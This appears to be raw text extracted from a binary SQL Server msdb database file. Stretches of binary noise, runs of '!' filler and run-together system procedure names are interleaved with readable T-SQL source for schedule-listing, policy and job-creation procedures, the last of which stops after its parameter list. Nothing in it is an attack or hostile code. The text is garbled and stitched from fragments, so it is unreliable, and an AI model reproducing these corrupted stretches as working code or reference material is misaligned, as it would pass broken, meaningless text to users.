`TZsyscollector_collection_setsdbo0UU	p`syscollector_execution_log_internal0UU	`bhsyscollector_execution_log_internaldbo0UU	`06sysssislogdbo0UU	plsp_syscollector_delete_execution_log_tree0UU	pRsyscollector_collection_sets0[P	@TZbsyspolicy_target_set_levelsdbomsdb0[P	@FLTsyspolicy_conditionsdbomsdb0	PQ	@TZbsyspolicy_target_set_levelsdbomsdb0	PQ	@HNVsyspolicy_target_setsdbomsdb0.DR	`TZsyspolicy_fn_filter_completedbo0.DR	`FLsyspolicy_target_setsdbo0.DR	@Z`hsyspolicy_object_sets_internaldbomsdb0.DR	`TZsyspolicy_fn_eventing_filterdbo0.DR	@HNVsyspolicy_object_setsdbomsdb0.DR	@BHPsyspolicy_policiesdbomsdb0.DR	`V\sp_syspolicy_check_membershipdbo0XR8S	`TZsyspolicy_fn_filter_completedbo0XR8S	`FLsyspolicy_target_setsdbo0XR8S	`TZsyspolicy_fn_eventing_filterdbo0XR8S	@HNVsyspolicy_object_setsdbomsdb0XR8S	@BHPsyspolicy_policiesdbomsdb0XR8S	`V\sp_syspolicy_check_membershipdbo0v,T	@Z`hsyspolicy_object_sets_internaldbomsdb0v,T	@BHPsyspolicy_policiesdbomsdb0Q	@DJVxp_instance_regreaddbomastertrR

4

&h
vv<		l	
z.*bpj(Z@\Nn$`3b0jUOEtn6B8>sp_sqlagent_notifydbo6I8>sp_sqlagent_notifydbo6J8>sp_sqlagent_notifydbo6GO8>sp_sqlagent_notifydbo6'<sp_ssis_deletepackage60X8>sp_sqlagent_notifydbo6VTY8>sp_sqlagent_notifydbo6tOg,2sp_start_jobdbo6i8>sp_sqlagent_notifydbo6k8>sp_sqlagent_notifydbo6uo8>sp_sqlagent_notifydbo6nmu8>sp_sqlagent_notifydbo6av8>sp_sqlagent_notifydbo6=Uw8>sp_sqlagent_notifydbo64z:,2sp_start_jobdbo6@JPsp_syscollector_delete_jobsdbo6@JPsp_syscollector_create_jobsdbo6&4Xsp_syscollector_stop_collection_set6&4Zsp_syscollector_start_collection_set6~D1Zsp_syscollector_start_collection_set63psp_syscollector_delete_collection_item_internal6)3JPsp_syscollector_create_jobsdbo6b4(sp_stop_job6b4zsp_syscollector_get_collection_set_execution_statusdbo66*sp_start_job66zsp_syscollector_get_collection_set_execution_statusdbo6
B7*sp_start_job6
B7	zsp_syscollector_get_collection_set_execution_statusdbo6
B7JPsp_syscollector_create_jobsdbo6Ff8flsp_syscollector_start_collection_set_jobsdbo69*sp_start_job69^sp_syscollector_event_oncollectionstop69zsp_syscollector_get_collection_set_execution_statusdbo6:`sp_syscollector_event_oncollectionstart6:*sp_start_job6\mSJPsp_syscollector_delete_jobsdbo6\mSflsp_syscollector_delete_execution_log_treedbo6aTnsp_syscollector_delete_collection_set_internal6UUdsp_syscollector_delete_execution_log_tree6-IVflsp_syscollector_start_collection_set_jobsdbo6f=W(sp_stop_job6f=Wzsp_syscollector_get_collection_set_execution_statusdbo6{a>Dsp_ssis_deletepackagedbo6b@sp_ssis_setpackageroles69{X^sp_syscollector_run_collection_setdbo69{zsp_syscollector_get_collection_set_execution_statusdbo6|
,2sp_start_jobdbo6c%V\sp_syscollector_disable_collectordbo6c%TZsp_syscollector_enable_collectordbo6c%Z`sp_syscollector_set_cache_directorydbo6c%	zsp_syscollector_get_collection_set_execution_statusdboidentifiers60XDsp_verify_job_identifiers60X8>sp_sqlagent_notifydbo6VTYDsp_verify_job_identifiers6VTY8>sp_sqlagent_notifydbo6Ȝ[Dsp_verify_job_identifiers6Qr`6sp_verify_job_time6Qr`Bsp_verify_jobproc_caller6Qr`	6sp_verify_job_date6BdDsp_verify_job_identifiers6tOg,2sp_start_jobdbo6i0sp_verify_alert6i8>sp_sqlagent_notifydbo6k8>sp_sqlagent_notifydbo6Mm6sp_verify_job_time6<qn6sp_verify_operator6uo6sp_verify_operator6uo8>sp_sqlagent_notifydbo6Y&sNsp_verify_operator_identifiers6nmu@Fsp_verify_notificationdbo6nmu8>sp_sqlagent_notifydbo6av>sp_verify_notification6av8>sp_sqlagent_notifydbo6=Uw>sp_verify_notification6=Uw8>sp_sqlagent_notifydbo6=yDsp_verify_job_identifiers6_4:sp_validate_userdbo64z:,2sp_start_jobdbo6@9`fsp_syscollector_verify_collector_statedbo6y-`fsp_syscollector_verify_collector_statedbo6
"`fsp_syscollector_verify_collector_statedbo6.`fsp_syscollector_verify_collector_statedbo6L6<sp_update_jobstepdbo6@JPsp_syscollector_delete_jobsdbo6@TZsp_syscollector_update_job_proxydbo6@JPsp_syscollector_create_jobsdbo6&4Xsp_syscollector_stop_collection_set6&4^dsp_syscollector_verify_collection_setdbo6&4Zsp_syscollector_start_collection_set6&4nsp_syscollector_update_collection_set_internal6_)^dsp_syscollector_verify_collection_setdbo6ґ%^dsp_syscollector_verify_collector_typedbo6&^dsp_syscollector_verify_collector_typedbo6G-^dsp_syscollector_verify_collector_typedbo6//LRsp_syscollector_validate_xmldbo6~D1Xsp_syscollector_stop_collection_set6~D1`fsp_syscollector_verify_collection_itemdbo6~D1LRsp_syscollector_validate_xmldbo6~D1Zsp_syscollector_start_collection_set6~D1psp_syscollector_update_collection_item_internal63psp_syscollector_delete_collection_item_internal6)3JPsp_syscoll,:
"	&|6	
0

ZP8Tt
	
@
Xx:B`c
k"VUӆ%?&me
+6sp_help_targetserver&Ci#@sp_help_targetservergroup&q	<sp_is_sqlagent_starting&-~_@sp_jobhistory_row_limiter&9U<sp_manage_jobs_by_login&(sp_msx_defect&!(sp_msx_enlist&22sp_msx_get_account&2sp_msx_set_account&&n8sp_post_msx_operation&߭,4sp_purge_jobhistory&L0sp_reassign_proxy&VBsp_remove_job_from_targets&+:sp_resync_targetserver&h Bsp_revoke_login_from_proxy&+Jsp_revoke_proxy_from_subsystem&Bsp_set_sqlagent_properties&0)Hsp_sqlagent_get_perf_counters&Fsp_sqlagent_get_startup_info&Hsp_sqlagent_has_server_access&.gz8sp_sqlagent_is_member&f{nFsp_sqlagent_is_srvrolemember&Qr`Bsp_sqlagent_log_jobhistory&iM2sp_sqlagent_notify&s	^<sp_sqlagent_refresh_job&Fsp_sqlagent_update_agent_xps&0X&sp_start_job&VTY$sp_stop_job&vfaHsp_sqlagent_check_msx_version&WZb8sp_sqlagent_probe_msx&Nc0sp_set_local_time&BdDsp_multi_server_job_summary&Y&s2sp_notify_operator&Zl|2sp_sem_add_message&}4sp_sem_drop_message&y2sp_SendMailMessage&y,sp_isprohibited&=z0sp_SendMailQueues&0b{2sp_ProcessResponse&i|8sp_MailItemResultSets&}:sp_process_DialogTimer&~*sp_readrequest&M,sp_RunMailQuery&_*sp_send_dbmail&34<sp_maintplan_delete_log&lXDsp_maintplan_delete_subplan&|Lsp_maintplan_update_subplan_tsx&ޠFsp_maintplan_subplans_by_job&uBsp_maintplan_open_logentry&PiDsp_maintplan_close_logentry&
^<sp_maintplan_update_log&1RDsp_maintplan_update_subplan&UF>sp_maintplan_delete_plan&4z:2sp_maintplan_start&a<sp_log_shipping_in_sync&<bRsp_log_shipping_get_date_from_file& ;fZsp_remove_log_shipping_monitor_account&Y_gJsp_log_shipping_monitor_backup&hLsp_log_shipping_monitor_restore&wZu4sp_ssis_addlogentry&~u6sp_ssis_listpackages&v4sp_ssis_listfolders&"w8sp_ssis_deletepackage&[x6sp_ssis_deletefolder&y2sp_ssis_getpackage&3z0sp_ssis_getfolder&X{2sp_ssis_putpackage&?||4sp_ssis_checkexists&x}0sp_ssis_addfolder&Č~6sp_ssis_renamefolder&<sp_ssis_setpackageroles&#
u<sp_ssis_getpackageroles&
"Tsp_syscollector_set_cache_directory&.Nsp_syscollector_set_cache_window&$S
	lsp_syscollector_get_warehouse_connection_string&BNdDsp_syscollector_create_jobs&{rXXsp_syscollector_create_collection_set&_)Vsp_syscollector_configure_sql_dumper&m$Xsp_syscollector_create_collector_type&G-Xsp_syscollector_delete_collector_type&//Zsp_syscollector_create_collection_item&h2lsp_syscollector_delete_collection_item_internal&3Zsp_syscollector_delete_collection_item&5tsp_syscollector_get_collection_set_execution_status&
B7Rsp_syscollector_run_collection_set&cf?Dsp_syscollector_delete_jobs&+=E\sp_syscollector_event_oncollectionstart&daFZsp_syscollector_event_oncollectionstop&G\sp_syscollector_event_oncollectionbegin&֩GXsp_syscollector_event_oncollectionend&HVsp_syscollector_event_onpackagebegin&HIRsp_syscollector_event_onpackageend&JXsp_syscollector_event_onpackageupdate&:KHsp_syscollector_event_onerror&^LTsp_syscollector_event_onstatsupdate&I8yR`sp_syscollector_delete_execution_log_tree&\mSjsp_syscollector_delete_collection_set_internal&aTXsp_syscollector_delete_collection_set&UUXsp_syscollector_purge_collection_logs&-IVNsp_syscollector_enable_collector&f=WPsp_syscollector_disable_collector&2XJsp_syscollector_get_trace_info&\Dsp_syscollector_get_instmdw&bdsp_syscollector_create_tsql_query_collector&Kģcvsp_syscollector_get_tsql_query_collector_package_ids&dPsp_syscollector_cleanup_collector&.sp_read_settingses&#
u<sp_ssis_getpackageroles&\1iRsyscollector_config_store_internal&yQ@syscollector_config_store&EZsp_syscollector_verify_collector_state&@9dsp_syscollector_set_warehouse_instance_name&y-dsp_syscollector_set_warehouse_database_name&
"Tsp_syscollector_set_cache_directory&.Nsp_syscollector_set_cache_windowT>LBZH
\(8b\r:n4jv>,|6p(<H		Z 
z	bz@	BlRz

P6
	N	
j
z`
I"jW[P&(sp_msx_defect&!(sp_msx_enlist&22sp_msx_get_account&2sp_msx_set_account&BdDsp_multi_server_job_summary&&n8sp_post_msx_operation&߭,4sp_purge_jobhistory&L0sp_reassign_proxy&Y&s2sp_notify_operator&0b{2sp_ProcessResponse&}:sp_process_DialogTimer&~*sp_readrequest&.sp_read_settings&DW0&sp_publishdb&RZ$sp_password&ƺv8sp_redirect_publisher&zFLsp_procedure_params_100_rowset2&Jsp_new_parallel_nested_tran_id&:Lsp_procedure_params_100_managed&>sp_provider_types_rowset&&.sp_OAGetProperty&€"sp_prepare&
H*sp_prepexecrpc&VLsp_refresh_log_shipping_monitor&$sp_OACreate&Psp_peerconflictdetection_tableaug&Tsp_processlogshippingmonitorprimary&ޚJsp_procedure_params_90_rowset2&CJsp_procedure_params_100_rowset&sBsp_procedure_params_rowset&.sp_oledb_deflang&Xsp_processlogshippingretentioncleanup&*sp_refreshview&qV<sp_primary_keys_rowset2&G&sp_OADestroy&5:sp_prop_oledb_provider&
Dsp_provider_types_90_rowset&Dsp_procedure_params_managed&arsp_pkeys&<Dsp_procedure_params_rowset2&(<sp_refreshsubscriptions&yj,sp_readerrorlog&S*sp_primarykeys&!6sp_publisherproperty&)b*sp_oledb_defdb& sp_OAStop&AO0sp_oledb_database&ڡ$sp_ORbitmap&&sp_recompile&ˮ4sp_refreshsqlmodule& +Tsp_processlogshippingmonitorhistory&J:sp_primary_keys_rowset&z.sp_PostAgentInfo&_Fsp_provider_types_100_rowset&xe&sp_oledbinfo&8sp_procedures_rowset2&MI4sp_oledb_ro_usrname&E$sp_prepexec&CBsp_primary_keys_rowset_rmt&iXsp_processlogshippingmonitorsecondary&;*0sp_oledb_language&M8Rsp_refresh_heterogeneous_publisher&yA0sp_OAGetErrorInfo&Ex$sp_OAMethod&x2sp_posttracertoken&Fsp_register_custom_scripting&#8sp_publicationsummary&ho(sp_procoption&/Hsp_procedure_params_90_rowset&L.sp_OASetProperty&H.6sp_procedures_rowset&72sp_objectfilegroup&Ł@sp_publication_validationddcolumn&pBsp_requestpeertopologyinfo&UXsp_replmonitorsubscriptionpendingcmds&L6sp_replwritetovarbin&R/80sp_resolve_logins&s̆2sp_resign_database&arsp_pkeys&<Dsp_procedure_params_rowset2&
6$sp_replsync&(<sp_refreshsubscriptions&x8sp_reinitsubscription&NJ"sp_replica&yj,sp_readerrorlog&A@sp_registercustomresolver&S*sp_primarykeys&☩6sp_replsetoriginator&!6sp_publisherproperty&dJsp_replmonitorhelpmergesession&*sp_resetstatus&)b*sp_oledb_defdb& sp_OAStop&AO0sp_oledb_database&ڡ$sp_ORbitmap&&sp_recompile&:sp_removedbreplication&PDdsp_replmonitorhelpmergesubscriptionmoreinfo&$sp_repldone&ˮ4sp_refreshsqlmodule& +Tsp_processlogshippingmonitorhistory&J:sp_primary_keys_rowset&Fsp_replication_agent_checkup&'4sp_reset_connection&$f0sp_releaseapplock&z.sp_PostAgentInfo&6QDsp_replmonitorhelppublisher&B|:sp_replcleanupccsprocs&a*Fsp_restoremergeidentityrange&_Fsp_provider_types_100_rowset&xe&sp_oledbinfo&/}:sp_requestpeerresponse&8sp_procedures_rowset2&9$sp_replhelp&MI4sp_oledb_ro_usrname&Ӻ6*sp_revokelogin&\sp_replmonitorhelppublicationthresholds&E$sp_prepexec&CBsp_primary_keys_rowset_rmt&	<sp_repldeletequeuedtran&iXsp_processlogshippingmonitorsecondary&5k.sp_replddlparser&>_6sp_resyncuniquetable&^sp_replmonitorchangepublicationthreshold&;*0sp_oledb_language&M8Rsp_refresh_heterogeneous_publisher&yA0sp_OAGetErrorInfo&Ex$sp_OAMethod&9O8sp_replpostsyncstatus&x2sp_posttracertoken&Fsp_register_custom_scripting&SNsp_rollback_parallel_nested_tran&_^0sp_repldropcolumn&#8sp_publicationsummary&^&sp_replflush&a_,sp_remoteoption&ho(sp_procoption&S.sp_resyncexecute&/Hsp_procedure_params_90_rowset&n0sp_revokedbaccess&L.sp_OASetProperty&xA$sp_renamedb&H.6sp_procedures_rowset&72sp_objectfilegroup
>Pf
@v&	
h
4
b		N<&
X\ld	:ztXvh
F8
	8

.

R``a<XDE04wK 8
CREATE PROCEDURE sp_help_schedule
  @schedule_id              INT     = NULL, -- If both @schedule_id and @schedule_name are NULL retreive all schedules 
  @schedule_name            sysname = NULL,
  @attached_schedules_only  BIT     = 0,    -- If 1 only retreive all schedules that are attached to jobs
  @include_description      BIT     = 0     -- 1 if a schedule description is required (NOTE: It's expensive to generate the description)
AS
BEGIN
  DECLARE @retval                 INT
  DECLARE @schedule_description   NVARCHAR(255)
  DECLARE @name                   sysname
  DECLARE @freq_type              INT
  DECLARE @freq_interval          INT
  DECLARE @freq_subday_type       INT
  DECLARE @freq_subday_interval   INT
  DECLARE @freq_relative_interval INT
  DECLARE @freq_recurrence_factor INT
  DECLARE @active_start_date      INT
  DECLARE @active_end_date        INT
  DECLARE @active_start_time      INT
  DECLARE @active_end_time        INT
  DECLARE @schedule_id_as_char    VARCHAR(10)
  
  SET NOCOUNT ON
    
  -- If both @schedule_id and @schedule_name are NULL retreive all schedules (depending on @attached_schedules_only)
  -- otherwise verify the schedule exists
  IF (@schedule_id IS NOT NULL) OR (@schedule_name IS NOT NULL)  
  BEGIN    
    -- Check that we can uniquely identify the schedule
    EXECUTE @retval = msdb.dbo.sp_verify_schedule_identifiers @name_of_name_parameter = '@schedule_name',
                                                              @name_of_id_parameter   = '@schedule_id',
                                                              @schedule_name          = @schedule_name OUTPUT,
                                                              @schedule_id            = @schedule_id   OUTPUT,
                                                              @owner_sid              = NULL,
                                                              @orig_server_id         = NULL
    IF (@retval <> 0)
      RETURN(1) -- Failure
  END


  -- Get the schedule(s) that are attached to a job (or all schs if @attached_schedules_only = 0) into a temporary table
  SELECT schedule_id,
         schedule_uid,
        'schedule_name' = name,
         enabled,
         freq_type,
         freq_interval,
         freq_subday_type,
         freq_subday_interval,
         freq_relative_interval,
         freq_recurrence_factor,
         active_start_date,
         active_end_date,
         active_start_time,
         active_end_time,
         date_created,
        'schedule_description' = FORMATMESSAGE(14549)
  INTO #temp_jobschedule
  FROM msdb.dbo.sysschedules_localserver_view as sch
  WHERE ( (@attached_schedules_only = 0) 
         OR (EXISTS(SELECT * FROM sysjobschedules as jobsch WHERE sch.schedule_id = jobsch.schedule_id)) )
    AND((@schedule_id IS NULL) OR (schedule_id = @schedule_id))

  IF (@include_description = 1)
  BEGIN
    -- For each schedule, generate the textual schedule description and update the temporary
    -- table with it
    IF (EXISTS (SELECT *
                FROM #temp_jobschedule))
    BEGIN
      WHILE (EXISTS (SELECT *
                     FROM #temp_jobschedule
                     WHERE schedule_description = FORMATMESSAGE(14549)))
      BEGIN
        SET ROWCOUNT 1
        SELECT @name                   = schedule_name,
               @freq_type              = freq_type,
               @freq_interval          = freq_interval,
               @freq_subday_type       = freq_subday_type,
               @freq_subday_interval   = freq_subday_interval,
               @freq_relative_interval = freq_relative_interval,
               @freq_recurrence_factor = freq_recurrence_factor,
               @active_start_date      = active_start_date,
               @active_end_date        = active_end_date,
               @active_start_time      = active_start_time,
               @active_end_time        = active_end_time
        FROM #temp_jobschedule
        WHERE (schedule_description = FORMATMESSAGE(14549))
        SET ROWCOUNT 0

        EXECUTE sp_get_schedule_description
          @freq_type,
          @freq_interval,
          @freq_subday_type,
          @freq_subday_interval,
          @freq_relative_interval,
          @freq_recurrence_factor,
          @active_start_date,
          @active_end_date,
          @active_start_time,
          @active_end_time,
          @schedule_description OUTPUT

        UPDATE #temp_jobschedule
        SET schedule_description = ISNULL(LTRIM(RTRIM(@schedule_description)), FORMATMESSAGE(14205))
        WHERE (schedule_name = @name)
      END -- While
    END
  END

  -- Return the result set, adding job count
  SELECT *, (SELECT COUNT(*) FROM sysjobschedules WHERE sysjobschedules.schedule_id = #temp_jobschedule.schedule_id) as 'job_count'
  FROM #temp_jobschedule
  ORDER BY schedule_id

  RETURN(@@error) -- 0 means success
END
00K 8CREATE PROCEDURE [dbo].[sp_syspolicy_add_target_set] 
@object_set_id int = NULL,
@object_set_name sysname = NULL,
@type_skeleton nvarchar(max),
@type sysname,
@enabled bit,
@target_set_id int OUTPUT
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	DECLARE @retval              INT

    EXEC @retval = dbo.sp_syspolicy_verify_object_set_identifiers @name = @object_set_name OUTPUT, @object_set_id = @object_set_id OUTPUT
    if( @retval <> 0)
        RETURN(1)
    
    INSERT INTO msdb.[dbo].[syspolicy_target_sets_internal]
                                        (object_set_id,
                                        type_skeleton,
                                        type,
                                        enabled)
    VALUES                            
                                        (@object_set_id, 
                                        @type_skeleton,
                                        @type,
                                        @enabled)

    SELECT @retval = @@error
    SET @target_set_id = SCOPE_IDENTITY()
    RETURN(@retval)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<vYH|Xm08YkL (8
CREATE PROCEDURE sp_help_jobschedule
  @job_id              UNIQUEIDENTIFIER = NULL,
  @job_name            sysname          = NULL,
  @schedule_name       sysname          = NULL,
  @schedule_id         INT              = NULL,
  @include_description BIT              = 0 -- 1 if a schedule description is required (NOTE: It's expensive to generate the description)
AS
BEGIN
  DECLARE @retval                 INT
  DECLARE @schedule_description   NVARCHAR(255)
  DECLARE @name                   sysname
  DECLARE @freq_type              INT
  DECLARE @freq_interval          INT
  DECLARE @freq_subday_type       INT
  DECLARE @freq_subday_interval   INT
  DECLARE @freq_relative_interval INT
  DECLARE @freq_recurrence_factor INT
  DECLARE @active_start_date      INT
  DECLARE @active_end_date        INT
  DECLARE @active_start_time      INT
  DECLARE @active_end_time        INT
  DECLARE @schedule_id_as_char    VARCHAR(10)
  DECLARE @job_count               INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @schedule_name = LTRIM(RTRIM(@schedule_name))
  SELECT @job_count = 0

  -- Turn [nullable] empty string parameters into NULLs
  IF (@schedule_name = N'') SELECT @schedule_name = NULL

  -- The user must provide either:
  -- 1) job_id (or job_name) and (optionally) a schedule name
  -- or...
  -- 2) just schedule_id
  IF (@schedule_id IS NULL) AND
     (@job_id      IS NULL) AND
     (@job_name    IS NULL)
  BEGIN
    RAISERROR(14273, -1, -1)
    RETURN(1) -- Failure
  END

  IF (@schedule_id IS NOT NULL) AND ((@job_id        IS NOT NULL) OR
                                     (@job_name      IS NOT NULL) OR
                                     (@schedule_name IS NOT NULL))
  BEGIN
    RAISERROR(14273, -1, -1)
    RETURN(1) -- Failure
  END

  -- Check that the schedule (by ID) exists and it is only used by one job. 
  -- Allowing this for backward compatibility with versions prior to V9
  IF (@schedule_id IS NOT NULL) AND 
     (@job_id      IS NULL) AND
     (@job_name    IS NULL)
  BEGIN
  
    SELECT @job_count = COUNT(*)
    FROM msdb.dbo.sysjobschedules
    WHERE (schedule_id = @schedule_id) 
    
    if(@job_count > 1)
    BEGIN
      SELECT @schedule_id_as_char = CONVERT(VARCHAR, @schedule_id)
      RAISERROR(14369, -1, -1, @schedule_id_as_char)
      RETURN(1) -- Failure
    END
  
    SELECT @job_id = job_id
    FROM msdb.dbo.sysjobschedules
    WHERE (schedule_id = @schedule_id)
    IF (@job_id IS NULL)
    BEGIN
      SELECT @schedule_id_as_char = CONVERT(VARCHAR, @schedule_id)
      RAISERROR(14262, -1, -1, '@schedule_id', @schedule_id_as_char)
      RETURN(1) -- Failure
    END
  END

  -- Check that we can uniquely identify the job
  IF (@job_id IS NOT NULL) OR (@job_name IS NOT NULL)
  BEGIN
    EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                                '@job_id',
                                                 @job_name OUTPUT,
                                                 @job_id   OUTPUT,
                                                'NO_TEST'
    IF (@retval <> 0)
      RETURN(1) -- Failure
  END

  IF (@schedule_id IS NOT NULL OR @schedule_name IS NOT NULL)
  BEGIN
    -- Check that we can uniquely identify the schedule
    EXECUTE @retval = msdb.dbo.sp_verify_schedule_identifiers @name_of_name_parameter = '@schedule_name',
                                                              @name_of_id_parameter   = '@schedule_id',
                                                              @schedule_name          = @schedule_name OUTPUT,
                                                              @schedule_id            = @schedule_id   OUTPUT,
                                                              @owner_sid              = NULL,
                                                              @orig_server_id         = NULL,
                                                              @job_id_filter          = @job_id
    IF (@retval <> 0)
      RETURN(1) -- Failure
  
  END

  -- Check that the schedule (by name) exists
  IF (@schedule_name IS NOT NULL)
  BEGIN
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.sysjobschedules AS js
                      JOIN msdb.dbo.sysschedules AS s
                        ON js.schedule_id = s.schedule_id
                    WHERE (js.job_id = @job_id)
                      AND (s.name = @schedule_name)))
    BEGIN
      RAISERROR(14262, -1, -1, '@schedule_name', @schedule_name)
      RETURN(1) -- Failure
    END
  END

  -- Get the schedule(s) into a temporary table
  SELECT s.schedule_id,
        'schedule_name' = name,
         enabled,
         freq_type,
         freq_interval,
         freq_subday_type,
         freq_subday_interval,
         freq_relative_interval,
         freq_recurrence_factor,
         active_start_date,
         active_end_date,
         active_start_time,
         active_end_time,
         date_created,
        'schedule_description' = FORMATMESSAGE(14549),
         js.next_run_date,
         js.next_run_time,
         s.schedule_uid
  INTO #temp_jobschedule
  FROM msdb.dbo.sysjobschedules AS js
    JOIN msdb.dbo.sysschedules AS s
      ON js.schedule_id = s.schedule_id
  WHERE ((@job_id IS NULL) OR (js.job_id = @job_id))
    AND ((@schedule_name IS NULL) OR (s.name = @schedule_name))
    AND ((@schedule_id IS NULL) OR (s.schedule_id = @schedule_id))

  IF (@include_description = 1)
  BEGIN
    -- For each schedule, generate the textual schedule description and update the temporary
    -- table with it
    IF (EXISTS (SELECT *
                FROM #temp_jobschedule))
    BEGIN
      WHILE (EXISTS (SELECT *
                     FROM #temp_jobschedule
                     WHERE schedule_description = FORMATMESSAGE(14549)))
      BEGIN
        SET ROWCOUNT 1
        SELECT @name                   = schedule_name,
               @freq_type              = freq_type,
               @freq_interval          = freq_interval,
               @freq_subday_type       = freq_subday_type,
               @freq_subday_interval   = freq_subday_interval,
               @freq_relative_interval = freq_relative_interval,
               @freq_recurrence_factor = freq_recurrence_factor,
               @active_start_date      = active_start_date,
               @active_end_date        = active_end_date,
               @active_start_time      = active_start_time,
               @active_end_time        = active_end_time
        FROM #temp_jobschedule
        WHERE (schedule_description = FORMATMESSAGE(14549))
        SET ROWCOUNT 0

        EXECUTE sp_get_schedule_description
          @freq_type,
          @freq_interval,
          @freq_subday_type,
          @freq_subday_interval,
          @freq_relative_interval,
          @freq_recurrence_factor,
          @active_start_date,
          @active_end_date,
          @active_start_time,
          @active_end_time,
          @schedule_description OUTPUT

        UPDATE #temp_jobschedule
        SET schedule_description = ISNULL(LTRIM(RTRIM(@schedule_description)), FORMATMESSAGE(14205))
        WHERE (schedule_name = @name)
      END -- While
    END
  END

  -- Return the result set, adding job count to it
  SELECT *, (SELECT COUNT(*) FROM sysjobschedules WHERE sysjobschedules.schedule_id = #temp_jobschedule.schedule_id) as 'job_count'
  FROM #temp_jobschedule
  ORDER BY schedule_id

  RETURN(@@error) -- 0 means success
END

0q}_M D8vxh>,=0Gs*M +8(getdate())!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<tZDڳv0SN *8CREATE PROCEDURE sp_add_job
  @job_name                     sysname,
  @enabled                      TINYINT          = 1,        -- 0 = Disabled, 1 = Enabled
  @description                  NVARCHAR(512)    = NULL,
  @start_step_id                INT              = 1,
  @category_name                sysname          = NULL,
  @category_id                  INT              = NULL,     -- A language-independent way to specify which category to use
  @owner_login_name             sysname          = NULL,     -- The procedure assigns a default
  @notify_level_eventlog        INT              = 2,        -- 0 = Never, 1 = On Success, 2 = On Failure, 3 = Always
  @notify_level_email           INT              = 0,        -- 0 = Never, 1 = On Success, 2 = On Failure, 3 = Always
  @notify_level_netsend         INT              = 0,        -- 0 = Never, 1 = On Success, 2 = On Failure, 3 = Always
  @notify_level_page            INT              = 0,        -- 0 = Never, 1 = On Success, 2 = On Failure, 3 = Always
  @notify_email_operator_name   sysname          = NULL,
  @notify_netsend_operator_name sysname          = NULL,
  @notify_page_operator_name    sysname          = NULL,
  @delete_level                 INT              = 0,        -- 0 = Never, 1 = On Success, 2 = On Failure, 3 = Always
  @job_id                       UNIQUEIDENTIFIER = NULL OUTPUT,
  @originating_server           sysname           = NULL      -- For SQLAgent use only
AS
BEGIN
